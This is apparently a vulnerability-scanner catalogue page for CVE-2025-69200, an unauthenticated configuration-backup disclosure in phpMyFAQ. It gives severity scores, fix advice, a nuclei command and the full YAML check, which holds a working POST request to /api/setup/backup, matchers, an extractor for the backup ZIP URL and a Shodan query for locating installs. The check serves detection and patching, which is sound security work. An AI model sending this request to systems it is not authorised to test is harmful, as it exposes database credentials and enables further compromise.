phpMyFAQ - Configuration Backup Disclosure

highseverity

7.5CVSS score

2.1%likelihood of exploitation, next 30 days

82%of all CVEs are less likely

Readycheck to confirm it

phpMyFAQ <= 4.0.16 contains an information disclosure vulnerability caused by unauthenticated access to configuration backup ZIP generation and download, letting remote attackers access sensitive configuration files, exploit requires no authentication.

Impact

Remote attackers can access sensitive configuration files, exposing database credentials and enabling further compromise.

Fix

Update to version 4.0.16 or later.

How to confirm it

Send: POST /api/setup/backup
Positive when: contains "\"backupFile\":\"" and ".zip" AND not contains "error" or "forbidden" AND contains in content_type "application/json"

Run it with nuclei: nuclei -id CVE-2025-69200 -u <target>

The full check

id: CVE-2025-69200

info:
  name: phpMyFAQ - Configuration Backup Disclosure
  author: Louay-075
  severity: high
  description: |
    phpMyFAQ <= 4.0.16 contains an information disclosure vulnerability caused by unauthenticated access to configuration backup ZIP generation and download, letting remote attackers access sensitive configuration files, exploit requires no authentication.
  impact: |
    Remote attackers can access sensitive configuration files, exposing database credentials and enabling further compromise.
  remediation: |
    Update to version 4.0.16 or later.
  reference:
    - https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-9cg9-4h4f-j6fg
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-69200
    - https://nvd.nist.gov/vuln/detail/CVE-2025-69200
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2025-69200
    epss-score: 0.02141
    epss-percentile: 0.82201
    cwe-id: CWE-202
  metadata:
    verified: true
    shodan-query: 'http.title:"phpMyFAQ"'
    max-request: 1
    product: phpmyfaq
    vendor: phpmyfaq
  tags: cve,cve2025,phpmyfaq,backup,exposure,vkev,vuln

http:
  - raw:
      - |
        POST /api/setup/backup HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/plain

        4.1.0-RC

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"backupFile":"'
          - '.zip'
        condition: and

      - type: word
        words:
          - "error"
          - "forbidden"
        negative: true

      - type: word
        part: content_type
        words:
          - application/json

    extractors:
      - type: json
        name: backup_url
        json:
          - '.backupFile'

References

Use this check only on systems you are authorised to test. Where the data comes from